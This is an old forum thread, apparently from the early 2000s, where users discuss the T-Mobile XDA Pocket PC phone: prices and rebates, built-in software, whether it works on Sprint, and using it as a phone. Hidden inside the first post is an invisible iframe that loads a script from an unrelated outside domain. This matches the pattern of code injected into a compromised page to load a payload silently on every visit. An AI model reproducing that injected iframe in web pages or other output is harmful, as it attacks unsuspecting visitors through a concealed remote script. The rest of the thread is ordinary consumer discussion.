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    XDA for $300??

    Someone posted that the XDA can be bought for $300. I tried posting there but the thread is closed. Where can you get it for $300?? I've seen it for $549, but not $300.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    That would be sprint who has made that statement quite a few times. sprint?

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    hello



    I came to T-Mobil store and I told them about $200 rebate

    on Amazon.com . They had T-Mobil Pocket PC for $549 .

    But they gave me for $428 minus :

    $28 tax

    $50 mail in rebate cupon

    $350 only and you do not have to wait for delivery from

    Amazon.com .

    15 minutes only and I got my phone .

    It was CC Philadelphia .

    The name of salesperson is : Khalid Lawrence

    Phone : 215-735-1770
    ...........................................................................

    Please , be aware of Pocket PC ,- buy only if you need

    multimedia - media player , video , skins and bla bla bla

    If you want stable system , I recomend to you stay with Palm .

    You always have 2 weeks to try ....

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    Talking hello



    Do you know , why I like so much my T-Mobil PPC ?

    Becouse all needed programs allready installed .

    Number 1 for me its "Microsoft Reader" I love it !

    Internet Explorer

    Image Viewer for the pictures

    Pocket Word Pocket Excel Outlook 2002

    Terminal Services Client

    Windows Media Player for MP3 and DivX movies

    Did you seen the "Red Dragon" ? I have it on my phone .

    Resolution is perfect .

    I am still having my Samsung I-300 . It cannot compare .
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    Hey, I want to get that XDA pocket pc phone edition from T-mobile, but I don't want to get T-mobile's plan because they suck to Sprint's unliimited vision plan. You just can't beat unlimited!! I want to use it on the Sprint network. Is it possible? What would I have to do?

    Sprint has the Toshiba Phone PDA but it's freakin 800!! That's way too much. Is Sprint coming out with any more Pocket PC phones?
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    It will not work with Sprint. And yes, look at the other Forums from the main page to learna little aboutthe other smartphones Samsung has lined up for the future.

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    A question that has been on my mind about this XDA is of the usage of the phone. There were posts about the Thera that said you couldn't talk on the phone with it next to your ear. You would need a speakerphone or a headset. Does the same go for this XDA? What about the other ones?
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    Hi, guys, .....good 2B back...

    On to the answers:


    The Phone as a phone is just plain gorgeous. It takes a little to get used to if you never used a Pocket PC, but quickly you'll pick up the pace. This phone has everything. Music, Video, power, quality screen, this phone is a little computer and can do pretty much anything a computer can do. The internet explorer allows you to use the "real" internet, unlike palm.
    A LOT of appz are built in the phone, Word, excel, handwriting recognition, Windows media Player, Voice Notes, Avantgo (comes built in the Internet Explorer, so you don't need to install anything), Image viewer (jpg, bmp, etc) a Microsoft Reader (to read E-books, excellent quality), MSN Messenger, Inbox with the integrated SMS, Pocket Streets (to view Maps), SD Backup. and is very SKINS customizable, Today Screen, Dial pad, etc

    You will fall in love with the phone and the functionality, I highly recommended, the phone looks so far are the best of the ones that are currently in the market.

    Sprint has rite now the best data plans, but you know how it is, T-mobile and AT&T should come with competitive plans to match up Sprint's.
    visit http://www.yorch.net your place for Pocket Pc Phone Edition Dialpad Skins!

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